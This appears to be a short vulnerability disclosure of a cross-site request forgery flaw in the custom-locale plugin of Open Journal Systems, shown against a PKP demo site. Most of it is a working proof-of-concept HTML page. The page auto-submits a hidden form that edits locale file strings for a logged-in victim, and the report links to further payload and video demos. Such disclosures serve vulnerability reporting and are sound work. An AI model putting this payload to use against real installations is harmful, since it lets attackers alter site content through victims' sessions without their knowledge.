Description
CSRF edit Locale files
Proof of Concept
1 .Attack sends fake requests to users
<html>
<body>
<form action="https://demo.publicknowledgeproject.org/ojs3/testdrive/index.php/testdrive-journal/$$$call$$$/plugins/generic/custom-
locale/controllers/grid/custom-locale-grid/update-locale">
<input type="hidden" name="locale" value="en_US" />
<input type="hidden" name="key" value="lib/pkp/locale/en_US/common.po" />
<input type="hidden" name="changes[common.publicKnowledgeProject]" value="test1" />
<input type="hidden" name="changes[common.currentStyleSheet]" value="test2" />
<input type="hidden" name="changes[about.description]" value="test3" />
<input type="hidden" name="submitFormButton" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
2 .User click, edited unwanted Locale files
Payload Poc
https://drive.google.com/file/d/1wpgmDoK0fGsiPSKfThVoEWq50pj7sBz5/view?usp=sharing
Video Poc
https://drive.google.com/file/d/1WlOkyzHKatJgMJ8KQ7yH-edoLMXM5yZ4/view?usp=sharing